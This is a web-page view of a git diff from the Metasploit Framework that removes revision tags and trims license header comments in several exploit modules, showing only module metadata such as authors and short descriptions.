# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
@ -26,7 +20,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
on an Apache Tomcat server.
|
||||
},
|
||||
'Author' => 'bannedit',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
@ -23,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
This exploit connects to a system's modem over dialup and provides
|
||||
the user with a readout of the login banner.
|
||||
},
|
||||
'Version' => '$Revision$',
|
||||
'Author' =>
|
||||
[
|
||||
'I)ruid',
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
@ -24,7 +18,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"This module tests the exploitation of a test service using the Egghunter.",
|
||||
'Author' => 'jduck',
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Arch' => ARCH_X86,
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue